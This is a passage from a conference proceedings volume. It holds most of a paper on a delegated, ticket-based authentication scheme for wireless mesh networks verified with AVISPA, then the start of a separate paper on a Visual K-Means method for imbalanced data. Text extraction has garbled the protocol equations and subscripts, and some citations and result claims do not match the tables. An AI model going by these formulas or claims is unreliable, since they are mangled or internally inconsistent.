the mesh clients in the network. These security challenges give an invitation to
attackers and to launch an attack on the network.
In mesh network, information is sent from one node to another node with the
help of more than one mesh router, but an important issue is to maintain the privacy
of data while traversing more than one router and client [4]. However, these
schemes do not work efficiently with large network because it was the first designed
small network, i.e., mobile adhoc network (MANET) [5, 6]. Thus to prevent the
network from the various types of attacks, a strong authentication and key agree-
ment mechanism are used. A strong authentication is needed, so that two parties
validate the authenticity of each other, and a strong key management is needed,
Fig. 1 Wireless mesh network
Formal Verification of Secure Authentication … 377
so that after validating the authenticity, both the parties now generate a secret key
between them so that integrity and confidentiality are maintained.
In literature, proposed authentication techniques have been falling under two
categories: (i) home-based authentication scheme and (ii) broker-based approach. In
home-based approach, the mutual authentication has been taking place between
mesh clients, foreign (visiting) network, and home network. In this mesh, client
permanently registered in their home networks. When a client is moving from one
network to another network, WMN is managed by another operator. The disad-
vantage of this approach is that the overall computation increases as the number of
clients in a network increases [7], while in broker-based authentication scheme,
mutual authentication has taken place between mesh client and WMN, without the
involvement of the home network (client), due to which overall authentication
latency is reduced. This feature helps to support real-time services. In general, both
the broker-based and home-based scheme is not appropriate for secure access in a
multioperator WMN.
In this paper, we propose an authentication scheme for multioperator WMN,
which is a three-tier hierarchical-based architecture, where the broker is the trusted
party or authority for all the nodes (i.e., Mesh clients, operator, and the mesh router)
in WMN. In this architecture, broker resides on the top most layer, and for security
point of view, its task is to issue the tickets to mesh clients and mesh routers. In the
proposed architecture, we are using identity-based encryption, which reduces the
system complexity and management cost of the public key and efficiently manage
the certificates. Our proposed scheme efficiently works when the number of clients
gets increases, and because of this, broker delegates its signing rights along with
ticket and certificates to the less mobility or stationary node, i.e., mesh router and
mesh gateway. So because of this, any client joins the network for his private key
instead of retrieving its key from a broker or from the mesh router or mesh gateway.
As a result, we have evaluated the performance of the proposed architecture in
terms of security analysis, which indicates our scheme more efficient than other
schemes.
The rest of the paper is organized into the following categories: In the second
section, we elaborate the related works. In section three, we have proposed Secure
Authentication in Wireless Mesh Network (SAWMN) along with its architecture. In
section four, we have discussed theoretical modeling. In section five, we have
shown the simulated result of SAWMN, and in section six, we conclude our paper.
2 Related Works
As in security, authentication and privacy are one of the open challenges in WMN.
There are many such algorithms already have been developed, and still researchers
work in this area extensively. This section includes previously proposed approach
for secure authentication and privacy, and later on proposed architecture is dis-
cussed in details.
Mishra and Arbaugh [8] proposed a mechanism for client authentication, which
ensures the flexibility and transparency for all users present in the WMN. In their
proposed technique, they were focusing on two attacks in the networks, i.e., man in
the middle attack and forging session key. The largest trouble with this plan of
attack is node mobility, particularly when there is real traffic.
Kassab et al. [9, 10] proposed a technique in which they overcome the disad-
vantage of [8], i.e., client mobility. The author proposed two authentication
schemes: one is proactive key distribution and other is PKD with IAPP caching.
With this arrangement, they were trying to fasten the secure the authentication
procedure between mesh network and station.
As in security, authentication and privacy are the main focus of the authors, but
Operator backbone security is a one of the open challenge. Here, in this paper,
author develops a model which incurs three features in individual frameworks, i.e.,
firstly, their model is secured in two cases of attacks (denial of service attacks and
adversary corruption of data), and secondly, their model provides a secure routing
and fairness among the various nodes (Salem and Hubaux) [11].
Cheikhrouhou et al. [12] proposed a technique in which they were working on
two problems, i.e., data protection in mesh networks and access mechanism. For
authentication, they utilize IEEE 802.1X and to avoid the rejection of new mobile in
a network due to lack of IP address, they integrate the two techniques, i.e., Protocol
or carrying Authentication for Network Access (PANA) and IPsec.
Parthasarathy [13] elaborates a technique, which defines how a client can
securely access the network along with confidentiality. In this technique, they use
PANA and PAA agents, which are used to authenticate the client and build a tunnel
into the network which helps achieve confidentiality, integrity, and also secure the
exchanged confidential information.
Zhu et al. and Moustafa [14–16] work on a technique named Light weight
hop-by-hop access protocol. The idea behind this is to authenticate mesh client and
prevent the network from the resource consumption attack. In this authentication
concept, the user’s data are authenticated at each intermediate node before for-
warding. LHAP best suited to ad hoc network and resides between the data link
layer and network layer, and offers high-grade protection.
Zhu et al. [17] proposed a secure localized authentication and billing schemes, in
which they offer a guaranteed security in WMN. They improve performance,
resistance to system compromise, and easily handle the workload of brokers when it
is roaming to some other mesh. Nevertheless, it offers many characteristics, but not
able to provide secure routing.
He et al. [18] proposed a distributed architecture technique (authentication key
establishment scheme over hierarchical-based multivariable symmetric function).
Generally, authentication in distributed architecture minimizes the authentication
latency by distributing the trusted party over a network that has signing rights on
the authentication server. The author proposed a scheme in which mesh client and
mesh router construct a mutual pairwise key without any intervention of any central
authentication server.
[19, 20] Proposed a secure authentication scheme named SAT, in which they
enhanced the security by hiding the network access, location details, and the
communication path while maintaining the integrity and confidentiality. Basically,
they resolve two conflicts, i.e., tracking the misbehaving user and anonymity of
legitimate users.
In the above state-of-art, various previously proposed approaches have been
deliberated. Generally, their Authentication protocols are classified into two cate-
gories: broker-based approach and home foreign-based approach. In home
foreign-based methodology, mesh client in WMN first registers to its home net-
work. If mesh client wishes to roam in WMN, then this natural action is done by
another operator. Authentication between mesh clients is achieved by the
involvement of mesh client, home network, and the roam network. Even so, it
incurs disadvantage, when the number of clients may get increases and they fre-
quently perform an activity of roaming to another network, and then authentication
in this case incurs a huge operating expense. Therefore, it is not suited for real-time
application. Broker-based methodology somehow reduces the authentication
overhead, i.e., authentication between mesh client and the roaming network is
achieved without the involvement of the home network. Therefore, it is best fitted
for real-time application, but it also incurs drawbacks, i.e., lengthy interpret
authentication exists when mesh client is roaming from one operator to another
operator’s network. Thus, both home foreign-based and broker-based approaches
are suitable for authentication in WMN. In this paper, we propose a SAWMN
hierarchical broker-based architecture for multioperator WMN. SAWMN is best
fitted for real-time application because as the number of mesh client get increases in
the network, it is quite slow to perform authentication among mesh nodes to
overcome this overhead. SAWMN utilizes delegation rights phenomenon (broker
delegated it signing rights to its mesh gateway and mesh router instead of con-
tacting trusted third-party mesh clients directly get authenticated with the help of
network router).
3 SAWMN Architecture
Our suggested approach is based on broker-based three-tier hierarchical architecture

for WMN as shown in Fig. 2. WMN holds two types of nodes, i.e., mesh router and
mesh client. In addition to the networking proficiency among mesh client and mesh
router, mesh router has mesh gateway functionality which enables to connect a
WMN to other networks. Further, these multiple mesh networks are managed by
administrative domain. Agreeing to our approach, the broker or trusted party is
residing the top level in the architecture. Mesh gateway resides on the second level,
which plugs into the backbone of WMN to the internet (wired). The third level
consists of network router, which works as an access period to demonstrate com-
munication between network nodes. The whole architecture is depicted in Fig. 2.
Fig. 2 SAWMN hierarchical

architecture
In our proposed approach, any client desires to be a part of a network, firstly nodes
have to contact with a broker. Equally, we are using an identity-based encryption
[21, 22], in which each node has to place forth its own public key, i.e., its own identity
of a broker agent. A trusted party or a broker used its own secret key to generate a
private key for that node. As we all know, mesh gateway and network router have less
mobility, and so we consider them as a stationary node. As explained earlier, our
approach is grounded on three-tier hierarchical architecture, which incurs a great
disadvantage that as the number of nodes in a network increases, it is quite tedious job
and computationally inefficient, where each node has to make contact with the broker
in order to know its private key. So to overcome this disadvantage, broker delegates
its signing rights to a mesh gateway by issuing certificates. Mesh gateway computes
its proxy rights and assigns its own rights to mesh router by issuing tickets and
generates a certificate by signing the ticket using a proxy signature key.
3.1 Flow Diagram of SAWMN Working
Now we have elaborated the authentication algorithm SAWMN, which incorporates

the identity-based encryption and ticket-based authentication scheme. Further, we
have shown the step-by-step execution of SAWMN.
Firstly, brokers choose a random number R, i.e., private Key, and compute its
public key.
Suppose a mesh gateway is a newly entered node, as shown in Fig. 3, firstly
mesh gateway handover its own public key, i.e., its own identity to broker. The
broker has a private key generator which generates a private key to the gateway,
and it delegates its signing rights to gateway and securely transfers it to the mesh
gateway. The whole operation is shown in steps 4–5.
Fig. 3 Flow diagram of

SAWMN
Table 1 Terminologies used Terminologies used

in Fig. 3
IDMG Gateway ID (public key)
PRMG Gateway private key
CertBMG Broker signing rights
IDMR Mesh router ID (public key)
PRMR Mesh router private key
CertMG
MR
Gateway signing rights
IDMC Client ID (public key)
PRMC Client private key
Ticket Valid communication session
As mesh gateway already receives broker signing rights, now onward, gateway
performs the same operation like a broker. For example, in Fig. 3, mesh router gets
its own private key from gateway instead of bringing up from a broker, but mesh
router has less mobility so it also considers as a stationary node (trusted party); thus
while sending private key for router, gateway also delegates its own and broker
signing rights to mesh router. The whole operation is elaborated in steps 6–7. The
terminologies used in Fig. 3 are summarized under Table 1.
Now onward, mesh router has rights to perform the same operation like a broker
and gateway. Any mesh client instead of getting its own private key from broker
can directly get it from mesh router. As shown in Fig. 3, Mesh client first hand over
its public key to the router and router generates private key for the client and
transfer private key along with tickets to the mesh client.
3.2 Theoretical Modeling of SAWMN
Step 1: First, we define two group fields G1 , GT and two hash functions H1 ; H2 :
Step 2: Broker randomly chooses an integer t € (1, n − 1) and computes its own
public key, with the help of the following equation:
T ¼ t p:
Step 3: Broker defines Param field, and this field is an output by taking k security
parameter as an input. Param field consist of message Space M, two group fields G1 ,
GT , and two hash functions H1 ; H2 . This Param field is publicly recognized by the
others, while the private key is known by the secret key generator:
Param ¼ ðG1 ; GT ; p; H1 ; H2 ; TÞ:
Step 4: Suppose any node A want to join the network, so its request for his
private key to the broker PRA . To calculate the private key for node, a broker needs
A’s Identity or the public key IDA . After calculating private key PA , this key is
securely delivered it to the Node A using BLS (short signature scheme) signature:
PRA ¼ tHðIDA Þ:
Step 5: Broker also generates certificates and send it to the Node A:
CertBA ¼ tPht
Pht ¼ H1 ½Exp; T; IDA
B ! Node A : ðCertBA Þ:
Step 6: As I explain earlier mesh gateway and mesh client have less mobility,
broker delegates its signature to this node. Assume Node A is the Mesh gateway:
CertMG ¼ CertBMG þ PRMG PhMG
PhMG ¼ H1 ½Exp; T; IDMG :
Step 7: After performing above operations, Broker already sent its delegation
rights to mesh gateway and then mesh gateway after receiving delegation rights from
a broker, and it generates a ticket and gives its delegation rights to mesh router:
TicketMG;R ¼ ðExp; Broker ID ; T; IDMR ; IDMG ; SignMG Þ
SignMG ¼ ððExpjjBroker ID jjTjjIDMR jjIDMG ÞSignCertMG Þ
MR ¼ PRMG PhMR
CertMG
PhMR ¼ H1 ½Exp; T; IDMG ; IDMR

MR :
MG ! MR : TicketMG;R ; CertMG
3.3 Strengths of Proposed SAWMN
In order to achieve a secure communication in the network, various authentication

algorithms have been developed. Mutual authentication in WMN is a one of the
hottest topics, and various researches have been going in the future also. This
section defines why our proposed algorithm is effective. SAWMN incurs a number
of features and provide a secure communication between mesh clients, mesh router–
mesh clients, etc. SAWMN reduces the overall system complexity and also the
price needed for the management of public key, which induces a heavy impact on
the network. In earlier literature works, a node that wants to be a part of the
network, firstly he has to choose an integer value from a particular range, and then
computes its own public key; so here apart from private key, it also maintains its
own public key, while in SAWMN, as explained earlier in SAWMN, nodes that
wish to join in the network, firstly it has to get its own private key from the broker
by handling its own public key or identity. Here, in SAWMN, user identity acts as a
public key for the node and for private keys, and broker performs private key
generation operation in place of nodes, and thus the overall computation complexity
of the system is reduced.
In SAWMN, broker acts as a trusted third party, and this authenticates and issue
tickets to the nodes. As SAWMN is a three-tier hierarchical-based architecture, as
the number of clients in the network increases, it is computationally inefficient for
the client to always contact to the broker for the private key and increases the
overhead. In SAWMN, broker delegates its signing writes to the mesh gateway or
to the mesh router, which enables a mesh router or mesh gateway to act like a
broker and assign private key from a newly joined client.
4 Verification of Results Against Forgery of Key

and Intruder Attacks
In this section, we have recorded the performance results of proposed approach, i.e.,
SAWMN. We execute SAWMN on AVISPA SPAN and shown how the com-
munication has been taken place between entities. We tested the SAWMN security
assets using a model checker AVISPA SPAN, which offer a correct resilient of
proposed security protocol.'
4.1 HLPSL (High-Level Protocol Specification Language)

Code—Control Flow Pattern for SAWMN
HLPSL is a high-level protocol specification language, which will be utilized for

modeling a protocol, whose semantics is based on Lamport’s temporal logic
specification [23, 24]. AVISPA takes HLPSL code as an input and describes the
security principles and also puts down their respective security features. HLPSL
described protocols in the form of roles. Each protocol has their respective roles,
which elaborate the intended action to be performed by the protocol. Each function
is depicted in the form of state, which contain variables. These variables or
parameters are responsible for state transition, i.e., establishing communication
among roles via channels and retrieving information.
4.2 HLPSL2IF Coding—(HLPSL (High-Level Protocol

Specification Language) to Intermediate Format)
When protocol is molded in HLPSL Code, AVISPA transform high-level language

into low-level language, i.e., the intermediate language format IF with the help of
HLPSL2IF translator. This intermediate language format is executed at the backend
by the tool on-the-fly model checker (OFMC), CL-AtSe (Clark/Jacab Library-based
attack searcher).
4.3 AtSe-Flow Detection Code for SAWMN
CL-AtSe (Clark/Jacab Library-based attack searcher) is backend tool which takes

HLPSL2IF code as an input for analysis purpose. It does not used to find out the
attacks in protocol rather than it is used to list out the preliminary intruder
Fig. 4 AtSe (Flaw detection code for SAWMN)
Fig. 5 (Constraints logic-based attack searcher) Flaw detection code for SAWMN
information, either intruder is able to forge the private key or not and initial features
in the sets [25]. Figures 4 and 5 show the CL-AtSe (Clark/Jacab Library-based
attack searcher).
Fig. 6 Protocol falsification and bounded verification of SAWMN
4.4 Protocol Falsification and Bounded Verification

of SAWMN
On-the-fly model checker is backend tool, which tales HLPSL2IF intermediate code
as an input. OFMC is a protocol verification tool generally used to encounter out
the attacks in the protocol. As in SAWMN, Fig. 6 shows that there is no attack
found in SAWMN and it is safe from intruder attacks.
5 Conclusion
In this paper, we have proposed a secure authentication approach for WMN. The
key features of our approach are to reduce the overall system complexity and
management cost of public key, which induces the heavy impact on the network
performance. In SAWMN, any node (either it will be a mesh router, mesh gateway,
and mesh client) to get its own pubic key has to handover its own identity (i.e.,
public key) to the broker. Broker performs some computation and later on handover
the private key to the node along with ticket, which defines the lifetime of particular
node in the network. As the number of mesh client increases, SAWMN reduces
overhead of issuing ticket and private key by the trusted third party using delegation
of signing rights to the mesh gateway and mesh router. Further, we have shown the
verification of SAWMN by the simulated result on AVISPA SPAN.
References
1. Akyildiz, I.F., Wang, X., Wang, W.: A survey on wireless mesh networks. IEEE Radio
Commun. 47(4), 445–487 (2005)
2. Zhou, L., Zygmunt, Hass, J.: Securing adhoc networks. IEEE Networks 24–30 (1999)
3. Egners, A., Meyer, U.: Wireless mesh network security: state of affairs. IEEE 35th on
Conference on Local Computer Networks, 997–1004 (2010)
4. Wu, T., Xue, Y., Cui, Y.: Preserving traffic privacy in wireless mesh networks. Proceedings of
the International Symposium on a World of Wireless, Mobile and Multi-media Networks
(WoWMoM‘06), pp. 459–461 (2006)
5. Sen, J., Chowdhury, P.R., Sengupta, I.: A distributed trust mechanism for mobile ad hoc
networks. Proceedings of the international symposium on ad hoc and ubiq-uitous computing
(ISAHUC’06), pp. 20–23 (2006)
6. Sen, J.: A robust and efficient node authentication protocol for mobile ad hoc net-works.
Proceedings of the 2nd IEEE International Conference on Computational In-telligence,
Modelling and Simulation (CIMSiM 2010), pp. 476–481 (2010)
7. IEEE P802.11 s/D2.06:part 11: Wireless LAN MAC and physical layer significance.
Amendment 10: Mesh Networking. IEEE Working Draft Proposed standard, Rev.2.06, (2009)
8. Mishra, A., Arbaugh, W.A.: An initial security analysis of the IEEE 802.1X stand-ard.
Computer Science Department Technical Report CS-TR-4328, University of Mary-land, USA,
pp. 1–12 (2002)
9. Kassab, M., Belghith, A., Bonnin, J.M. Sassi, S.: Fast Pre-Authentication Based on Proactive
Key Distribution for 802.11 Infrastructure Networks. Proceedings of the 1st ACM Workshop
on Wireless Multimedia Networking and performance modeling, pp. 46–53 (2005)
10. Prasad, A.R., Wang, H.: Roaming key based fast handover in WLANs. Proceed-ings of IEEE
Wireless Communications and Networking Conference (WCNC 2003), 2005, pp. 1570–1576,
vol. 3, (2005)
11. Salem, N.B., Hubaux, J.P.: Securing wireless mesh networks. IEEE Wireless Commun. 13(2),
50–55 (2006)
12. Cheikhrouhou, O., Laurent-Maknavicius, M., Chaouchi, H.: Security architecture in a
multi-hop mesh network. 5th Conference on Safety and Architectures Networks, SAR 2006,
Seignosse, Landes, France, pp. 1–10 (2006)
13. Parthasarathy, M.: Protocol for carrying authentication and network access (PANA): threat
analysis and security requirements RFC 4016,” The Internet Society, pp. 1–15 (2005)
14. Zhu, S., Xu, S., Setia, S., Jajodia, S.: LHAP: A lightweight hop-by-hop authentica-tion
protocol for ad-hoc networks. Proceedings of the 23rd IEEE International Confer-ence on
Distributed Computing Systems Workshops (ICDCSW’03), pp. 749–755 (2003)
15. Zhu, S., Xu, S., Setia, S., Jajodia, S.: LHAP: a lightweight network access control protocol for
ad hoc networks. Ad Hoc Networks 4(5), 567–585 (2006)
16. Moustafa, H.: Providing authentication, trust, and privacy in wireless mesh networks. In:
Zhang, Y., et al. (eds.) Security in Wireless Mesh Networks, pp. 261–295. CRC Press, USA
(2007)
17. Zhu, H., Lin, X., Lu, R., Ho, H. P., Shen, X.: A secure localized authentication and billing
scheme for wireless mesh networks. IEEE Trans. Wireless Commun. 7(10), 3858–3868 (2008)
18. He, B., Joshi, S., Agrawal, D. P., Sun, D.: An efficient authenticated key establish-ment
scheme for wireless mesh networks. Proceedings of IEEE Global Telecommuni-cations
Conference (GLOBECOM’10), pp. 1–5 (2010)
19. Sun, J., Zhang, C., Zhang, Y., Fang, Y.: SAT: a security architecture achieving anonymity
and traceability in wireless mesh networks. IEEE Trans. Depend-able Secure Comput. 8(2),
295–307 (2011)
20. Gao, T., Guo, N., Yim, K.: Delegation-based mutual authentication scheme for multi operator
wireless mesh networks. Proceedings of (IMIS2012), pp. 143–147 (2012)
21. Boneh, D., Franklin, M.: Identity based encryption from the Weil Pairing. SIAM J. Comput.
32(3), 586–615 (2003)
22. Boneh, D., Lynn, B., Shacham, H.: Short signatures from the Weil pairing. Proceed-ings of
Advances in Cryptology—AsiaCrypt 2001, Lecture Notes in Computer Science, vol. 2248,
pp. 514–532. Springer-Verlag (2001)
23. AVISPA Team: HLPSL Tutorial. http://www.avispa-project.org/package/tutorial.pdf.
Retrieved 9th Dec 2014
24. Lamport, L.: The temporal logic of actions. ACM Trans. Programm. Languages Syst. 16(3),
872–923 (1994)
25. Lamport, L.: Specifying Systems. Addison-Wesley (2002)
Visual K-Means Approach for Handling
Class Imbalance Learning
Ch.N. Santhosh Kumar, K. Nageswara Rao and A. Govardhan
Abstract In this paper, a novel clustering algorithm dubbed as Visual K-Means

(VKM) is proposed. The proposed algorithm deals with the uniform effect which is
very much visible in k-means algorithm for skewed distributed data sources. The
evaluation of the proposed algorithm is conducted with 10 imbalanced dataset
against five benchmark algorithms on six evaluation metrics. The observations from
the simulation results project that the proposed algorithm is one of the best alter-
natives to handle the imbalanced datasets effectively.
Keywords Imbalanced data k-Means clustering algorithms Under sampling

Visual k-means
1 Introduction
The research community has paid great attention to analytical performance of k-means
algorithm. One of the identified limitations of k-means algorithm toward imbalance
datasets is degradation of its performance. The problem of performance degradation
for k-means algorithm toward imbalance dataset is termed as ‘uniform effect’ [1]. The
area of class imbalance learning is directly related to many real-world problems such
as remote sensing [2], pollution detection [3], risk management [4], fraud detection
[5], and especially medical diagnosis [6–9]. In cluster analysis, the rare class is the
class of interest for knowledge discovery. The information of “natural” clusters with
nonspherical shapes using multiple representative points to achieve improved
Ch.N. Santhosh Kumar (&)

Department of CSE, JNTUH, Hyderabad, A.P, India
e-mail: santhosh_ph@yahoo.co.in
K. Nageswara Rao
PSCMR College of Engineering and Technology, Vijayawada, A.P, India
A. Govardhan
SIT, CSE, JNTUH, Hyderabad, A.P, India

390 Ch.N. Santhosh Kumar et al.
robustness over single linked algorithm was proposed by Guha et al. [10]. The
technique for discovery of arbitrary shapes and sizes of clusters using multi-prototype
clustering algorithm was proposed by Liu et al. [11].
2 Literature Review
The research in the field of clustering is exponentially increased in the recent years;
the problem of class imbalance learning is thoroughly investigated with different
oversampling and undersampling techniques. The details about some of the
developments are given below.
Fernández1 et al. [12] proposed a new set of validation techniques based on the
clusters’ negentropy introduced. Compact clusters that are not strongly overlapped
can be formed using clusters’ negentropy. One of the limitations of this approach is
visible if the region contains only few data points. The authors have proposed
different heuristics to solve this problem. Alejo et al. [13] proposed a new dynamic
method which uses SMOTE and a newly proposed oversampling technique with
sequential backpropagation algorithm. The author uses backpropagation mean
square error (MSE) to identify the oversampling rate.
Wang [14] proposed a method for addressing class imbalance problem using
hybrid sampling SVM approach and oversampling. Santhosh Kumar et al. [15]
proposed a novel algorithm using undersampling and intelligent technique to solve
the problem of ‘uniform effect’ in k-means algorithm. Dariusz Brzezinski et al. [16]
proposed accuracy updated ensemble (AUE2), a data stream classifier for improved
performance. Poolsawad et al. [7] investigated different methods of sampling, i.e.,
oversampling and undersampling to assess the performance of classification algo-
rithms on clinical imbalance datasets. Goran Oreški et al. [8] conducted a research
on classification problems in purpose of measuring the quality of classification; the
accuracy and area under ROC curve measures are used. Jerzy Stefanowski et al. [9]
studied several resampling strategies for data preprocessing. Nenad Tomašev et al.
[10] used k-nearest neighbor methods for class imbalance learning.
After analyzing the existing recent literature, we found that new clustering
algorithm for varied data source is the need of the hour. As discussed in Xiong et al.
[1], regarding “uniform effect”, we propose that visualization and hybrid sampling
techniques are of great use to solve the problem of uniform effect in k-means
algorithm.
Visual K-Means Approach for Handling Class Imbalance Learning 391
3 The Proposed Method
In this section the methodology of the new proposed visual _K-means algorithm is
introduced and the main concepts of the framework are discussed in detail.
As mentioned before, in preprocessing there are two approaches; oversampling
and undersampling. In undersampling, the instances in the majority set are
decreased by following some selection technique to identify weak or noisy
instances. In this approach, the majority class is undersampled using the
well-known clustering technique OPTICS [13]. OPTICS works on a principle like
an extended DBSCAN algorithm for an infinite number of distance parameters
which are smaller than the “generating distance”. The only difference is that, in
OPTICS assign cluster memberships is not possible.
The different components of our proposed algorithm are elaborated in the fol-
lowing subsections.
3.1 Partitioning Majority and Minority Classes
The unbalanced dataset is partitioned as majority and minority subsets. Since our
approach is an undersampling approach, we need to focus on the majority dataset.
3.2 Applying Visualization Technique on Majority Class
In the next phase of the approach, we need to apply a visualization technique on the
majority dataset to identify different clusters. Here we have considered OPTICS
clustering algorithm to apply on the majority subset for visualization.
3.3 Identification of Minor Clusters
The result of OPTICS (Ordering Points to Identify Clustering Structure) algorithms

is used for identification of number of clusters in the majority subset. We need to
identify the weak or outlier clusters and delete them from the majority subset. The
amount of deletion will depend upon the unique properties of the dataset after
removing weak and outlier clusters form a new majority subset Ni.
3.4 Forming New Balanced Dataset
The new majority subset Ni and the minority subset P are combined to form a new
likely balanced dataset. This newly formed balanced dataset is applied to a base
algorithm; in this case k-means is used to obtain different measures such as AUC,
Precision, F-measure, TP Rate, and TN Rate.
4 Experimental Design and Algorithms Compared
In this research the datasets considered are of binary nature. We have taken
breast_w, colic, diabetes, ecloic, hepatitis, ionosphere, labor, sick, sonar and vote;
10 binary datasets from UCI [16] machine learning repository.
The metrics of evaluation are estimated using tenfold cross-validation
(CV) technique. In tenfold CV, the dataset is divided into 10 equal partitions and
in every run onefold is used for testing and ninefolds are used for training. The
process will continue by switching the onefold for testing from training folds. The
data partitions are available for interested readers at UCI.
5 Results
The comparative experimental results of the proposed algorithm with benchmarks

are presented in Tables 1, 2, 3, 4, 5, and 6. In this study, six evaluation metrics such
as AUC, precision, recall, F-measure, FP rate and FN rate are used for comparison.
The results are presented in both the numerical average performance (Mean) and
standard deviation (SD) format. The win and loss of the proposed algorithm is
indicated by the ‘●’ and ‘○’ symbols, respectively, beside every value. The sig-
nificance for the win and loss is considered according to the T-test at 95 % con-
fidence level.
The experimental comparison of the proposed algorithm is done with each algo-
rithm independently. This methodology will provide strengths and limitations of our
proposed algorithm with respect to compared algorithms. The clustering evaluations
were conducted on ten real-world multidimensional datasets from UCI to validate the
proposed clustering method. Tables 1, 2, 3, 4, 5, and 6 report the results of AUC,
precision, recall, F-measure, FP rate, and FN rate, respectively. The VKM algorithm
gives a set of impressive results compared with the benchmarks.
Better performance of the VKM algorithm is achieved due to following main
reasons: Initially, it is due to decrease of instances in the majority subset. The other
reason is due to the systematic deletion of instances from the majority subset which
is one of the key for the success of our algorithm. The final reason is the removal of
the noisy and outlier instances by the interpolation mechanism of VKM.
The overall analysis of the results for our proposed algorithm from Tables 1, 2,
3, 4, 5, and 6 are as follows:
• If the datasets are of highly imbalance category then our proposed VKM
algorithm is the best performing algorithm.
• The complete experimental setup shows that our algorithm can be practically
applicable for the real-time data.
• The VKM algorithm that has not performed well on some of the datasets shows
the unique properties of the dataset where there is no scope for improvement in
the minority subset.
Table 1 Summary of tenfold cross-validation performance for AUC on all the datasets
Datasets K-means Density FF EM Hire VKM
Breast_w 0.950○ 0.966○ 0.785● 0.951○ 0.500● 0.947
Colic 0.628○ 0.678○ 0.570● 0.691○ 0.500● 0.622
Diabetes 0.608● 0.617○ 0.520● 0.670○ 0.502● 0.614
Ecolic 0.534● 0.535● 0.521● 0.567● 0.500● 0.815
Hepatitis 0.753○ 0.781○ 0.670● 0.800○ 0.500● 0.744
Ionosphere 0.706● 0.743○ 0.530● 0.771○ 0.500● 0.714
Labor 0.631● 0.668○ 0.657○ 0.586● 0.500● 0.644
Sick 0.574○ 0.567○ 0.481● 0.516● 0.500● 0.556
Sonar 0.521○ 0.498 0.513○ 0.497● 0.500○ 0.498
Vote 0.871○ 0.885○ 0.855● 0.759● 0.500● 0.860
Table 2 Summary of tenfold cross-validation performance for precision on all the datasets
Breast_w 0.961○ 0.989○ 0.823● 0.998○ 0.655● 0.936
Colic 0.784○ 0.821○ 0.719● 0.838○ 0.630● 0.787
Diabetes 0.725○ 0.734○ 0.665● 0.821○ 0.652● 0.692
Ecolic 0.727○ 0.727○ 0.712○ 0.746○ 0.700○ 0.697
Hepatitis 0.426● 0.453● 0.405● 0.457● 0.000● 0.479
Ionosphere 0.557● 0.573● 0.309● 0.585 0.000● 0.585
Labor 0.474● 0.523○ 0.532○ 0.364● 0.000● 0.518
Sick 0.952○ 0.952○ 0.936● 0.958○ 0.939● 0.945
Sonar 0.493● 0.460● 0.422● 0.459● 0.110● 0.525
Vote 0.952○ 0.960○ 0.929● 0.996○ 0.614● 0.947
Table 3 Summary of tenfold cross-validation performance for Recall on all the datasets
Breast_w 0.976○ 0.953● 0.992○ 0.907● 1.000○ 0.970
Colic 0.541○ 0.582○ 0.635○ 0.576○ 1.000○ 0.521
Diabetes 0.760○ 0.747○ 0.957○ 0.594● 1.000○ 0.744
Ecolic 0.595● 0.606● 0.778● 0.664● 1.000○ 0.993
Hepatitis 0.824○ 0.865○ 0.583● 0.906○ 0.000● 0.816
Ionosphere 0.702 0.787○ 0.185● 0.912○ 0.000● 0.701
Labor 0.555● 0.588○ 0.345● 0.330● 0.000● 0.565
Sick 0.779● 0.755● 0.957○ 0.719● 1.000○ 0.822
Sonar 0.471● 0.471● 0.524● 0.525● 0.235● 0.539
Vote 0.810○ 0.829○ 0.814○ 0.931○ 1.000○ 0.779
Table 4 Summary of tenfold cross-validation performance for F-measure on all the datasets
Breast_w 0.968○ 0.971○ 0.898● 0.950● 0.792● 0.952
Colic 0.608○ 0.662○ 0.638○ 0.678○ 0.773○ 0.597
Diabetes 0.739○ 0.737○ 0.779○ 0.685● 0.789○ 0.714
Ecolic 0.649● 0.655● 0.739● 0.700● 0.824○ 0.815
Hepatitis 0.549● 0.582● 0.451● 0.598○ 0.000● 0.585
Ionosphere 0.617● 0.660○ 0.173● 0.711○ 0.000● 0.634
Labor 0.481● 0.522○ 0.404● 0.328● 0.000● 0.508
Sick 0.851● 0.834● 0.945○ 0.807● 0.968○ 0.873
Sonar 0.462● 0.447● 0.414● 0.480● 0.149● 0.522
Vote 0.873○ 0.888○ 0.864○ 0.961○ 0.761● 0.851
Table 5 Summary of tenfold cross-validation performance for FP Rate on all the datasets
Breast_w 0.076 0.021● 0.422○ 0.004● 1.000○ 0.076
Colic 0.285○ 0.227● 0.494○ 0.193● 1.000○ 0.278
Diabetes 0.544○ 0.513● 0.918○ 0.254● 1.000○ 0.516
Ecolic 0.526○ 0.536○ 0.736○ 0.530○ 1.000○ 0.363
Hepatitis 0.318● 0.304● 0.243● 0.305● 0.000● 0.327
Ionosphere 0.289○ 0.301○ 0.125● 0.371○ 0.000● 0.272
Labor 0.292○ 0.251● 0.032● 0.146● 0.000● 0.277
Sick 0.614● 0.599● 0.967○ 0.500● 0.000● 0.690
Sonar 0.429● 0.472● 0.498● 0.530● 0.232● 0.543
Vote 0.068○ 0.059 0.105○ 0.004● 1.000○ 0.059
Table 6 Summary of tenfold cross-validation performance for FN Rate on all the datasets
Breast_w 0.024● 0.047○ 0.008● 0.093○ 0.000● 0.030
Colic 0.459● 0.418● 0.365● 0.424● 0.000● 0.479
Diabetes 0.240● 0.254● 0.043● 0.406○ 0.000● 0.256
Ecolc 0.405○ 0.394○ 0.222○ 0.336○ 0.000● 0.007
Hepatitis 0.176● 0.135 ● 0.417○ 0.094● 1.000○ 0.184
Ionosphere 0.298● 0.213● 0.815○ 0.088● 1.000○ 0.299
Labor 0.445● 0.413● 0.650○ 0.540○ 1.000○ 0.435
Sick 0.221○ 0.245○ 0.043● 0.281○ 0.000● 0.178
Sonar 0.529○ 0.529○ 0.476○ 0.475○ 0.765○ 0.461○
Vote 0.190● 0.171● 0.186● 0.069● 0.000● 0.221
The performance of VKM had improved when compared to k-means, density,

FF, EM, and hierarchical algorithms. The numbers of wins registered by VKM
compared to other algorithms are more. The improvement in the performance
suggests that the proposed VKM algorithm can be applied to real-world datasets.
6 Conclusion
In this paper, a new algorithm for clustering imbalanced datasets is proposed.

Though the approach followed is conceptually simple and effective for solving the
uniform effect, the performance of the proposed algorithm is impressive. As a future
work the proposed method can be extended for further explorations with other
clustering methods.
References
1. Xiong, H., Wu, J.J., Chen, J.: K-means clustering versus validation measures: a
data-distribution perspective. IEEE Trans. Syst. Man Cybern. B Cybern. 39(2), 318–331
(2009)
2. Lago-Fernández, L.F., Aragón, J., Martínez-Muñoz, G., González, A.M., Sánchez-Montañés,
M.: Cluster validation in problems with increasing dimensionality and unbalanced clusters.
